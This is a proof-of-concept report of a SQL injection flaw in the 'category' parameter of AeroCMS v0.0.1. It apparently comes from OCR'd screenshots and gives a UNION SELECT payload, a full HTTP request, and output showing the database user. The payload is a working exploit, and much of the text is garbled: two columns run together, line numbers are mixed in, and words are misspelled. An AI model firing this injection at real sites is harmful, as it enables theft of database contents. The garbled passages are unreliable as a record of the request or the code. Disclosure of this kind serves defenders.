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category_sql_injection

Step to Reproduct

• The category parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

Exploit

Query out the current user

```
1 GET /AeroCMS-0.0.1/category.php?category= 2+UNION+ALL+SELECT+NULL, NULL, NUL
                                                                                                                                                                                                                                                                       </small>
                                                                                                                                                                                                                                                            119 h1>
        ULL, NULL--+- HTTP/1.1
                                                                                                                                                                                                                                                            120
   2 Host: localhost
                                                                                                                                                                                                                                                            121 -- First Blog Post -->
   3 Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                                             122 2>
  4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
                                                                                                                                                                                                                                                            123 <a href="post.php?p_id="></a>
            (KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36
                                                                                                                                                                                                                                                            124 h2>
                                                                                                                                                                                                                                                            125 | class="lead">
       text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/w ebp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                                            126 by <a href="index.php"></a>
                                                                                                                                                                                                                                                            127 p>
   6 Referer: http://localhost/AeroCMS-0.0.1/category.php?category=2
                                                                                                                                                                                                                                                            128 >
   7 Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                       <span class="glyphicon glyphicon-time"></span>
  8 Accept-Language: zh-CN, zh;q=0.9
  9 Cookie: PHPSESSID=fpqkconpb4b9jun4m011b2kman
                                                                                                                                                                                                                                                        129 r>
10 Connection: close
                                                                                                                                                                                                                                                            130 mg class="img-responsive" src="images/root@localhost" alt="";
                                                                                                                                                                                                                                                            131 ir>
                                                                                                                                                                                                                                                            132 >
                                                                                                                                                                                                                                                            133 class="btn btn-primary" href="#">Read More <span class="glyphicon glyp
```

Vulnerable Code

AeroCMS-0.0.1\category.php

The category parameter is passed in the GET mode and brought into the mysgl_query() function without filtering



SQL query statements

SELECT * FROM posts WHERE post category id = 2 UNION ALL SELECT NULL, NU



POC

Injection Point

category=2+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,User(),NULL,NULL,NULL,NULL,NULL--+-

Request

Host: localhost

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.428 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/appg,*/*;q=0.8,app

Referer: http://localhost/AeroCMS-0.0.1/category.php?category=2

Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=fpqkconpb4b9jun4m0llb2kman

Connection: close





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